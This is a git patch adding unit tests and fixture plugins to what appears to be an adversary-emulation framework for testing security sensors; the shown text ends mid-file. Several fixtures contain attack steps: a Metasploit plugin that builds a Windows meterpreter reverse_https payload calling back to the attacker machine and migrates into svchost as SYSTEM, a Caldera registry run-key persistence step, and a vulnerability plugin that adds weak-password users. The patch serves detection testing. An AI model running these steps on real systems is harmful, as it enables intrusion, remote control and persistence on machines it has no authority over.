From f9616c1d7547b586791826abc9cb5a4c6a77bcf1 Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Mon, 8 Nov 2021 17:56:11 +0100 Subject: [PATCH] Unit tests for pluginmanager --- app/pluginmanager.py | 17 +- plugin_manager.py | 2 +- tests/data/empty.yaml | 0 tests/data/empty_attackers.yaml | 20 ++ tests/data/empty_targets.yaml | 1 + .../plugins/attack/missing_run/missing_run.py | 22 +++ tests/plugins/caldera/caldera_ok.py | 43 +++++ .../no_create/machinery_no_create.py | 43 +++++ .../no_destroy/machinery_no_destroy.py | 46 +++++ .../machinery/no_halt/machinery_no_halt.py | 46 +++++ .../machinery/no_ip/machinery_no_ip.py | 45 +++++ .../machinery/no_state/machinery_no_state.py | 45 +++++ .../machinery/no_up/machinery_no_up.py | 46 +++++ tests/plugins/machinery/ok/machinery_ok.py | 50 +++++ tests/plugins/metasploit/metasploit_ok.py | 49 +++++ .../missing_collect/sensor_missing_collect.py | 94 ++++++++++ tests/plugins/sensor/sensor_ok/sensor_ok.py | 102 ++++++++++ .../sensor/two_sensors/sensor_1/sensor_1.py | 102 ++++++++++ .../sensor/two_sensors/sensor_2/sensor_2.py | 102 ++++++++++ .../vulnerabilities/no_start/vul_no_start.py | 43 +++++ .../vulnerabilities/no_stop/vul_no_stop.py | 46 +++++ tests/plugins/vulnerabilities/ok/vul_ok.py | 69 +++++++ tests/test_pluginmanager.py | 176 ++++++++++++++++++ 23 files changed, 1204 insertions(+), 5 deletions(-) create mode 100644 tests/data/empty.yaml create mode 100644 tests/data/empty_attackers.yaml create mode 100644 tests/data/empty_targets.yaml create mode 100644 tests/plugins/attack/missing_run/missing_run.py create mode 100644 tests/plugins/caldera/caldera_ok.py create mode 100644 tests/plugins/machinery/no_create/machinery_no_create.py create mode 100644 tests/plugins/machinery/no_destroy/machinery_no_destroy.py create mode 100644 tests/plugins/machinery/no_halt/machinery_no_halt.py create mode 100644 tests/plugins/machinery/no_ip/machinery_no_ip.py create mode 100644 tests/plugins/machinery/no_state/machinery_no_state.py create mode 100644 tests/plugins/machinery/no_up/machinery_no_up.py create mode 100644 tests/plugins/machinery/ok/machinery_ok.py create mode 100644 tests/plugins/metasploit/metasploit_ok.py create mode 100644 tests/plugins/sensor/missing_collect/sensor_missing_collect.py create mode 100644 tests/plugins/sensor/sensor_ok/sensor_ok.py create mode 100644 tests/plugins/sensor/two_sensors/sensor_1/sensor_1.py create mode 100644 tests/plugins/sensor/two_sensors/sensor_2/sensor_2.py create mode 100644 tests/plugins/vulnerabilities/no_start/vul_no_start.py create mode 100644 tests/plugins/vulnerabilities/no_stop/vul_no_stop.py create mode 100644 tests/plugins/vulnerabilities/ok/vul_ok.py create mode 100644 tests/test_pluginmanager.py diff --git a/app/pluginmanager.py b/app/pluginmanager.py index 8a75124..59a91f6 100644 --- a/app/pluginmanager.py +++ b/app/pluginmanager.py @@ -4,11 +4,14 @@ from glob import glob import os import straight.plugin # type: ignore +from typing import Optional from plugins.base.plugin_base import BasePlugin from plugins.base.attack import AttackPlugin from plugins.base.machinery import MachineryPlugin +from plugins.base.ssh_features import SSHFeatures from plugins.base.sensor import SensorPlugin + from plugins.base.vulnerability_plugin import VulnerabilityPlugin from app.interface_sfx import CommandlineColors from app.attack_log import AttackLog @@ -29,15 +32,19 @@ sections = [{"name": "Vulnerabilities", class PluginManager(): """ Manage plugins """ - def __init__(self, attack_logger: AttackLog): + def __init__(self, attack_logger: AttackLog, basedir: Optional[str] = None): """ @param attack_logger: The attack logger to use + @param basedir: optional base directory for plugins. A glob """ - self.base = "plugins/**/*.py" + if basedir is None: + self.base = "plugins/**/*.py" + else: + self.base = basedir self.attack_logger = attack_logger - def get_plugins(self, subclass, name_filter=None) -> list[BasePlugin]: + def get_plugins(self, subclass, name_filter: Optional[list[str]] = None) -> list[BasePlugin]: """ Returns a list plugins matching specified criteria @@ -118,6 +125,8 @@ class PluginManager(): issues = [] + # Base functionality for all plugin types + # Sensors if issubclass(type(plugin), SensorPlugin): # essential methods: collect @@ -138,7 +147,7 @@ class PluginManager(): if plugin.get_state.__func__ is MachineryPlugin.get_state: report = f"Method 'get_state' not implemented in {plugin.get_name()} in {plugin.plugin_path}" issues.append(report) - if plugin.get_ip.__func__ is MachineryPlugin.get_ip: + if (plugin.get_ip.__func__ is MachineryPlugin.get_ip) or (plugin.get_ip.__func__ is SSHFeatures.get_ip): report = f"Method 'get_ip' not implemented in {plugin.get_name()} in {plugin.plugin_path}" issues.append(report) if plugin.up.__func__ is MachineryPlugin.up: diff --git a/plugin_manager.py b/plugin_manager.py index 87999be..42f4ae3 100755 --- a/plugin_manager.py +++ b/plugin_manager.py @@ -23,7 +23,7 @@ def check_plugins(arguments): attack_logger = AttackLog(arguments.verbose) plugin_manager = PluginManager(attack_logger) res = plugin_manager.print_check() - if len(res) == 0: + if len(res) != 0: print("*************************************") print("Some issues in plugins were found: ") print("\n".join(res)) diff --git a/tests/data/empty.yaml b/tests/data/empty.yaml new file mode 100644 index 0000000..e69de29 diff --git a/tests/data/empty_attackers.yaml b/tests/data/empty_attackers.yaml new file mode 100644 index 0000000..47583d7 --- /dev/null +++ b/tests/data/empty_attackers.yaml @@ -0,0 +1,20 @@ +targets: + target1: + vm_controller: + type: vagrant + vagrantfilepath: systems + + vm_name: target1 + os: linux + ### + # Targets need a unique PAW name for caldera + paw: target1 + ### + # Targets need to be in a group for caldera + group: red + + machinepath: target1 + # Do not destroy/create the machine: Set this to "yes". + use_existing_machine: yes + +attackers: \ No newline at end of file diff --git a/tests/data/empty_targets.yaml b/tests/data/empty_targets.yaml new file mode 100644 index 0000000..31c1c19 --- /dev/null +++ b/tests/data/empty_targets.yaml @@ -0,0 +1 @@ +targets: \ No newline at end of file diff --git a/tests/plugins/attack/missing_run/missing_run.py b/tests/plugins/attack/missing_run/missing_run.py new file mode 100644 index 0000000..4960ec0 --- /dev/null +++ b/tests/plugins/attack/missing_run/missing_run.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python3 + +# A plugin to nmap targets slow motion, to evade sensors + +from plugins.base.attack import AttackPlugin, Requirement + + +class MissingRunPlugin(AttackPlugin): + + # Boilerplate + name = "missing_run" + description = "Migrate meterpreter to another process via metasploit" + ttp = "T1055" + references = ["https://attack.mitre.org/techniques/T1055/"] + + required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share + + requirements = [Requirement.METASPLOIT] + + def __init__(self): + super().__init__() + self.plugin_path = __file__ diff --git a/tests/plugins/caldera/caldera_ok.py b/tests/plugins/caldera/caldera_ok.py new file mode 100644 index 0000000..e2a1130 --- /dev/null +++ b/tests/plugins/caldera/caldera_ok.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 + +# A plugin to nmap targets slow motion, to evade sensors + +from plugins.base.attack import AttackPlugin, Requirement +from app.interface_sfx import CommandlineColors + + +class CalderaAutostartPlugin1(AttackPlugin): + + # Boilerplate + name = "caldera_autostart_1" + description = "Setting a registry key for autostart" + ttp = "T1547.1" + references = ["https://attack.mitre.org/techniques/T1547/001/"] + + required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share + requirements = [Requirement.CALDERA] + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + def run(self, targets): + """ Run the command + + @param targets: A list of targets, ip addresses will do + """ + + # HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run + + res = "" + self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Starting caldera attack to add run key {CommandlineColors.ENDC}", 1) + self.caldera_attack(self.targets[0], + "163b023f43aba758d36f524d146cb8ea", + parameters={"command_to_execute": r"C:\\Windows\\system32\\calc.exe"}, + tactics="Persistence", + tactics_id="TA0003", + situation_description="Setting an autorun key runonce") + self.attack_logger.vprint( + f"{CommandlineColors.OKBLUE}Ending caldera attack to add run key {CommandlineColors.ENDC}", 1) + + return res diff --git a/tests/plugins/machinery/no_create/machinery_no_create.py b/tests/plugins/machinery/no_create/machinery_no_create.py new file mode 100644 index 0000000..7d16396 --- /dev/null +++ b/tests/plugins/machinery/no_create/machinery_no_create.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 + +# A plugin to control already running vms + +from plugins.base.machinery import MachineryPlugin, MachineStates +from plugins.base.ssh_features import SSHFeatures + + +class MachineryNoCreate(SSHFeatures, MachineryPlugin): + + # Boilerplate + name = "machinery_no_create" + description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin" + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + self.vagrantfilepath = None + self.vagrantfile = None + + def up(self): + """ Start a machine, create it if it does not exist """ + return + + def halt(self): + """ Halt a machine """ + return + + def destroy(self): + """ Destroy a machine """ + return + + def get_state(self): + """ Get detailed state of a machine """ + + return MachineStates.RUNNING + + def get_ip(self): + """ Return the machine ip """ + + return self.config.vm_ip() diff --git a/tests/plugins/machinery/no_destroy/machinery_no_destroy.py b/tests/plugins/machinery/no_destroy/machinery_no_destroy.py new file mode 100644 index 0000000..cc3e841 --- /dev/null +++ b/tests/plugins/machinery/no_destroy/machinery_no_destroy.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 + +# A plugin to control already running vms + +from plugins.base.machinery import MachineryPlugin, MachineStates +from plugins.base.ssh_features import SSHFeatures + + +class MachineryNoDestroy(SSHFeatures, MachineryPlugin): + + # Boilerplate + name = "machinery_no_destroy" + description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin" + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + self.vagrantfilepath = None + self.vagrantfile = None + + def create(self, reboot=True): + """ Create a machine + + @param reboot: Reboot the VM during installation. Required if you want to install software + """ + return + + def up(self): + """ Start a machine, create it if it does not exist """ + return + + def halt(self): + """ Halt a machine """ + return + + def get_state(self): + """ Get detailed state of a machine """ + + return MachineStates.RUNNING + + def get_ip(self): + """ Return the machine ip """ + + return self.config.vm_ip() diff --git a/tests/plugins/machinery/no_halt/machinery_no_halt.py b/tests/plugins/machinery/no_halt/machinery_no_halt.py new file mode 100644 index 0000000..d03236f --- /dev/null +++ b/tests/plugins/machinery/no_halt/machinery_no_halt.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 + +# A plugin to control already running vms + +from plugins.base.machinery import MachineryPlugin, MachineStates +from plugins.base.ssh_features import SSHFeatures + + +class MachineryNoHalt(SSHFeatures, MachineryPlugin): + + # Boilerplate + name = "machinery_no_halt" + description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin" + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + self.vagrantfilepath = None + self.vagrantfile = None + + def create(self, reboot=True): + """ Create a machine + + @param reboot: Reboot the VM during installation. Required if you want to install software + """ + return + + def up(self): + """ Start a machine, create it if it does not exist """ + return + + def destroy(self): + """ Destroy a machine """ + return + + def get_state(self): + """ Get detailed state of a machine """ + + return MachineStates.RUNNING + + def get_ip(self): + """ Return the machine ip """ + + return self.config.vm_ip() diff --git a/tests/plugins/machinery/no_ip/machinery_no_ip.py b/tests/plugins/machinery/no_ip/machinery_no_ip.py new file mode 100644 index 0000000..c7f336b --- /dev/null +++ b/tests/plugins/machinery/no_ip/machinery_no_ip.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python3 + +# A plugin to control already running vms + +from plugins.base.machinery import MachineryPlugin, MachineStates +from plugins.base.ssh_features import SSHFeatures + + +class MachineryNoIp(SSHFeatures, MachineryPlugin): + + # Boilerplate + name = "machinery_no_ip" + description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin" + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + self.vagrantfilepath = None + self.vagrantfile = None + + def create(self, reboot=True): + """ Create a machine + + @param reboot: Reboot the VM during installation. Required if you want to install software + """ + return + + def up(self): + """ Start a machine, create it if it does not exist """ + return + + def halt(self): + """ Halt a machine """ + return + + def destroy(self): + """ Destroy a machine """ + return + + def get_state(self): + """ Get detailed state of a machine """ + + return MachineStates.RUNNING diff --git a/tests/plugins/machinery/no_state/machinery_no_state.py b/tests/plugins/machinery/no_state/machinery_no_state.py new file mode 100644 index 0000000..871b18d --- /dev/null +++ b/tests/plugins/machinery/no_state/machinery_no_state.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python3 + +# A plugin to control already running vms + +from plugins.base.machinery import MachineryPlugin +from plugins.base.ssh_features import SSHFeatures + + +class MachineryNoState(SSHFeatures, MachineryPlugin): + + # Boilerplate + name = "machinery_no_state" + description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin" + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + self.vagrantfilepath = None + self.vagrantfile = None + + def create(self, reboot=True): + """ Create a machine + + @param reboot: Reboot the VM during installation. Required if you want to install software + """ + return + + def up(self): + """ Start a machine, create it if it does not exist """ + return + + def halt(self): + """ Halt a machine """ + return + + def destroy(self): + """ Destroy a machine """ + return + + def get_ip(self): + """ Return the machine ip """ + + return self.config.vm_ip() diff --git a/tests/plugins/machinery/no_up/machinery_no_up.py b/tests/plugins/machinery/no_up/machinery_no_up.py new file mode 100644 index 0000000..ab0f25a --- /dev/null +++ b/tests/plugins/machinery/no_up/machinery_no_up.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 + +# A plugin to control already running vms + +from plugins.base.machinery import MachineryPlugin, MachineStates +from plugins.base.ssh_features import SSHFeatures + + +class MachineryNoUp(SSHFeatures, MachineryPlugin): + + # Boilerplate + name = "machinery_no_up" + description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin" + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + self.vagrantfilepath = None + self.vagrantfile = None + + def create(self, reboot=True): + """ Create a machine + + @param reboot: Reboot the VM during installation. Required if you want to install software + """ + return + + def halt(self): + """ Halt a machine """ + return + + def destroy(self): + """ Destroy a machine """ + return + + def get_state(self): + """ Get detailed state of a machine """ + + return MachineStates.RUNNING + + def get_ip(self): + """ Return the machine ip """ + + return self.config.vm_ip() diff --git a/tests/plugins/machinery/ok/machinery_ok.py b/tests/plugins/machinery/ok/machinery_ok.py new file mode 100644 index 0000000..837fea7 --- /dev/null +++ b/tests/plugins/machinery/ok/machinery_ok.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python3 + +# A plugin to control already running vms + +from plugins.base.machinery import MachineryPlugin, MachineStates +from plugins.base.ssh_features import SSHFeatures + + +class MachineryOk(SSHFeatures, MachineryPlugin): + + # Boilerplate + name = "machinery_ok" + description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin" + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + self.vagrantfilepath = None + self.vagrantfile = None + + def create(self, reboot=True): + """ Create a machine + + @param reboot: Reboot the VM during installation. Required if you want to install software + """ + return + + def up(self): + """ Start a machine, create it if it does not exist """ + return + + def halt(self): + """ Halt a machine """ + return + + def destroy(self): + """ Destroy a machine """ + return + + def get_state(self): + """ Get detailed state of a machine """ + + return MachineStates.RUNNING + + def get_ip(self): + """ Return the machine ip """ + + return self.config.vm_ip() diff --git a/tests/plugins/metasploit/metasploit_ok.py b/tests/plugins/metasploit/metasploit_ok.py new file mode 100644 index 0000000..d908c87 --- /dev/null +++ b/tests/plugins/metasploit/metasploit_ok.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python3 + +# A plugin to nmap targets slow motion, to evade sensors + +from plugins.base.attack import AttackPlugin, Requirement +import socket + + +class MetasploitMigratePlugin(AttackPlugin): + + # Boilerplate + name = "metasploit_migrate" + description = "Migrate meterpreter to another process via metasploit" + ttp = "T1055" + references = ["https://attack.mitre.org/techniques/T1055/"] + + required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share + + requirements = [Requirement.METASPLOIT] + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + def run(self, targets): + """ Run the command + + @param targets: A list of targets, ip addresses will do + """ + + res = "" + payload_type = "windows/x64/meterpreter/reverse_https" + payload_name = "babymetal.exe" + target = self.targets[0] + + ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip()) + + self.metasploit.smart_infect(target, + payload=payload_type, + architecture="x64", + platform="windows", + lhost=ip, + format="exe", + outfile=payload_name + ) + + self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64") + + return res diff --git a/tests/plugins/sensor/missing_collect/sensor_missing_collect.py b/tests/plugins/sensor/missing_collect/sensor_missing_collect.py new file mode 100644 index 0000000..d642da1 --- /dev/null +++ b/tests/plugins/sensor/missing_collect/sensor_missing_collect.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python3 + +# A plugin to experiment with Linux logstash filebeat sensors + +from plugins.base.sensor import SensorPlugin +import os +from jinja2 import Environment, FileSystemLoader, select_autoescape + + +class SensorMissingCollectPlugin(SensorPlugin): + # Boilerplate + name = "missing_collect" + description = "Linux filebeat plugin" + + required_files = ["filebeat.conf", + "filebeat.yml", + ] + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + self.debugit = False + + def process_templates(self): + """ process jinja2 templates of the config files and insert own config """ + + env = Environment( + loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False), + autoescape=select_autoescape() + ) + template = env.get_template("filebeat_template.conf") + dest = os.path.join(self.get_plugin_path(), "filebeat.conf") + with open(dest, "wt") as fh: + res = template.render({"playground": self.get_playground()}) + fh.write(res) + + def prime(self): + """ Hard-core install. Requires a reboot """ + + # For reference: This is the core config we will need. In addition there are two reg files to apply to the registry + # sc control aswbidsagent 255 + # timeout /t 5 + # 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"' + # reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f + # timeout /t 2 + # sc start aswbidsagent + + # Important: AV must be 21.2 + # dll_name = self.conf["dll_name"] + + # idp_tool_folder = self.conf["idp_tool_folder"] + + pg = self.get_playground() + + self.vprint("Installing Linux filebeat sensor", 3) + + self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -") + self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list') + self.run_cmd("sudo apt update") + self.run_cmd("sudo apt -y install default-jre") + self.run_cmd("sudo apt -y install logstash") + self.run_cmd("sudo apt -y install filebeat") + + # Copy config + self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml") + self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d") + + # Cleanup + self.run_cmd(f"rm {pg}/filebeat.json") + self.run_cmd(f"touch {pg}/filebeat.json") + self.run_cmd(f"chmod o+w {pg}/filebeat.json") + + return False + + def install(self): + """ Installs the filebeat sensor """ + + return + + def start(self): + + self.run_cmd("sudo filebeat modules enable system,iptables") + self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,") + self.run_cmd("sudo systemctl enable filebeat") + self.run_cmd("sudo systemctl start filebeat") + self.run_cmd("sudo systemctl enable logstash.service") + self.run_cmd("sudo systemctl start logstash.service") + + return None + + def stop(self): + """ Stop the sensor """ + return diff --git a/tests/plugins/sensor/sensor_ok/sensor_ok.py b/tests/plugins/sensor/sensor_ok/sensor_ok.py new file mode 100644 index 0000000..5d9bd90 --- /dev/null +++ b/tests/plugins/sensor/sensor_ok/sensor_ok.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 + +# A plugin to experiment with Linux logstash filebeat sensors + +from plugins.base.sensor import SensorPlugin +import os +from jinja2 import Environment, FileSystemLoader, select_autoescape + + +class SensorOkPlugin(SensorPlugin): + # Boilerplate + name = "sensor_ok" + description = "Linux filebeat plugin" + + required_files = ["filebeat.conf", + "filebeat.yml", + ] + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + self.debugit = False + + def process_templates(self): + """ process jinja2 templates of the config files and insert own config """ + + env = Environment( + loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False), + autoescape=select_autoescape() + ) + template = env.get_template("filebeat_template.conf") + dest = os.path.join(self.get_plugin_path(), "filebeat.conf") + with open(dest, "wt") as fh: + res = template.render({"playground": self.get_playground()}) + fh.write(res) + + def prime(self): + """ Hard-core install. Requires a reboot """ + + # For reference: This is the core config we will need. In addition there are two reg files to apply to the registry + # sc control aswbidsagent 255 + # timeout /t 5 + # 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"' + # reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f + # timeout /t 2 + # sc start aswbidsagent + + # Important: AV must be 21.2 + # dll_name = self.conf["dll_name"] + + # idp_tool_folder = self.conf["idp_tool_folder"] + + pg = self.get_playground() + + self.vprint("Installing Linux filebeat sensor", 3) + + self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -") + self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list') + self.run_cmd("sudo apt update") + self.run_cmd("sudo apt -y install default-jre") + self.run_cmd("sudo apt -y install logstash") + self.run_cmd("sudo apt -y install filebeat") + + # Copy config + self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml") + self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d") + + # Cleanup + self.run_cmd(f"rm {pg}/filebeat.json") + self.run_cmd(f"touch {pg}/filebeat.json") + self.run_cmd(f"chmod o+w {pg}/filebeat.json") + + return False + + def install(self): + """ Installs the filebeat sensor """ + + return + + def start(self): + + self.run_cmd("sudo filebeat modules enable system,iptables") + self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,") + self.run_cmd("sudo systemctl enable filebeat") + self.run_cmd("sudo systemctl start filebeat") + self.run_cmd("sudo systemctl enable logstash.service") + self.run_cmd("sudo systemctl start logstash.service") + + return None + + def stop(self): + """ Stop the sensor """ + return + + def collect(self, path): + """ Collect sensor data """ + + pg = self.get_playground() + dst = os.path.join(path, "filebeat.json") + self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec + return [dst] diff --git a/tests/plugins/sensor/two_sensors/sensor_1/sensor_1.py b/tests/plugins/sensor/two_sensors/sensor_1/sensor_1.py new file mode 100644 index 0000000..a27ae1b --- /dev/null +++ b/tests/plugins/sensor/two_sensors/sensor_1/sensor_1.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 + +# A plugin to experiment with Linux logstash filebeat sensors + +from plugins.base.sensor import SensorPlugin +import os +from jinja2 import Environment, FileSystemLoader, select_autoescape + + +class SensorIgnoreMePlugin(SensorPlugin): + # Boilerplate + name = "ignore_me" + description = "Linux filebeat plugin" + + required_files = ["filebeat.conf", + "filebeat.yml", + ] + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + self.debugit = False + + def process_templates(self): + """ process jinja2 templates of the config files and insert own config """ + + env = Environment( + loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False), + autoescape=select_autoescape() + ) + template = env.get_template("filebeat_template.conf") + dest = os.path.join(self.get_plugin_path(), "filebeat.conf") + with open(dest, "wt") as fh: + res = template.render({"playground": self.get_playground()}) + fh.write(res) + + def prime(self): + """ Hard-core install. Requires a reboot """ + + # For reference: This is the core config we will need. In addition there are two reg files to apply to the registry + # sc control aswbidsagent 255 + # timeout /t 5 + # 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"' + # reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f + # timeout /t 2 + # sc start aswbidsagent + + # Important: AV must be 21.2 + # dll_name = self.conf["dll_name"] + + # idp_tool_folder = self.conf["idp_tool_folder"] + + pg = self.get_playground() + + self.vprint("Installing Linux filebeat sensor", 3) + + self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -") + self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list') + self.run_cmd("sudo apt update") + self.run_cmd("sudo apt -y install default-jre") + self.run_cmd("sudo apt -y install logstash") + self.run_cmd("sudo apt -y install filebeat") + + # Copy config + self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml") + self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d") + + # Cleanup + self.run_cmd(f"rm {pg}/filebeat.json") + self.run_cmd(f"touch {pg}/filebeat.json") + self.run_cmd(f"chmod o+w {pg}/filebeat.json") + + return False + + def install(self): + """ Installs the filebeat sensor """ + + return + + def start(self): + + self.run_cmd("sudo filebeat modules enable system,iptables") + self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,") + self.run_cmd("sudo systemctl enable filebeat") + self.run_cmd("sudo systemctl start filebeat") + self.run_cmd("sudo systemctl enable logstash.service") + self.run_cmd("sudo systemctl start logstash.service") + + return None + + def stop(self): + """ Stop the sensor """ + return + + def collect(self, path): + """ Collect sensor data """ + + pg = self.get_playground() + dst = os.path.join(path, "filebeat.json") + self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec + return [dst] diff --git a/tests/plugins/sensor/two_sensors/sensor_2/sensor_2.py b/tests/plugins/sensor/two_sensors/sensor_2/sensor_2.py new file mode 100644 index 0000000..cb2b596 --- /dev/null +++ b/tests/plugins/sensor/two_sensors/sensor_2/sensor_2.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 + +# A plugin to experiment with Linux logstash filebeat sensors + +from plugins.base.sensor import SensorPlugin +import os +from jinja2 import Environment, FileSystemLoader, select_autoescape + + +class SensorPickMePlugin(SensorPlugin): + # Boilerplate + name = "pick_me" + description = "Linux filebeat plugin" + + required_files = ["filebeat.conf", + "filebeat.yml", + ] + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + self.debugit = False + + def process_templates(self): + """ process jinja2 templates of the config files and insert own config """ + + env = Environment( + loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False), + autoescape=select_autoescape() + ) + template = env.get_template("filebeat_template.conf") + dest = os.path.join(self.get_plugin_path(), "filebeat.conf") + with open(dest, "wt") as fh: + res = template.render({"playground": self.get_playground()}) + fh.write(res) + + def prime(self): + """ Hard-core install. Requires a reboot """ + + # For reference: This is the core config we will need. In addition there are two reg files to apply to the registry + # sc control aswbidsagent 255 + # timeout /t 5 + # 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"' + # reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f + # timeout /t 2 + # sc start aswbidsagent + + # Important: AV must be 21.2 + # dll_name = self.conf["dll_name"] + + # idp_tool_folder = self.conf["idp_tool_folder"] + + pg = self.get_playground() + + self.vprint("Installing Linux filebeat sensor", 3) + + self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -") + self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list') + self.run_cmd("sudo apt update") + self.run_cmd("sudo apt -y install default-jre") + self.run_cmd("sudo apt -y install logstash") + self.run_cmd("sudo apt -y install filebeat") + + # Copy config + self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml") + self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d") + + # Cleanup + self.run_cmd(f"rm {pg}/filebeat.json") + self.run_cmd(f"touch {pg}/filebeat.json") + self.run_cmd(f"chmod o+w {pg}/filebeat.json") + + return False + + def install(self): + """ Installs the filebeat sensor """ + + return + + def start(self): + + self.run_cmd("sudo filebeat modules enable system,iptables") + self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,") + self.run_cmd("sudo systemctl enable filebeat") + self.run_cmd("sudo systemctl start filebeat") + self.run_cmd("sudo systemctl enable logstash.service") + self.run_cmd("sudo systemctl start logstash.service") + + return None + + def stop(self): + """ Stop the sensor """ + return + + def collect(self, path): + """ Collect sensor data """ + + pg = self.get_playground() + dst = os.path.join(path, "filebeat.json") + self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec + return [dst] diff --git a/tests/plugins/vulnerabilities/no_start/vul_no_start.py b/tests/plugins/vulnerabilities/no_start/vul_no_start.py new file mode 100644 index 0000000..84073c8 --- /dev/null +++ b/tests/plugins/vulnerabilities/no_start/vul_no_start.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 + +# Some users are created (with weak passwords) and sshd is set to allow password-based access + +from plugins.base.vulnerability_plugin import VulnerabilityPlugin + + +class VulnerabilityOk(VulnerabilityPlugin): + + # Boilerplate + name = "missing_start" + description = "Adding users with weak passwords" + ttp = "T1110" + references = ["https://attack.mitre.org/techniques/T1110/"] + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + def stop(self): + + if self.machine_plugin.config.os() == "linux": + 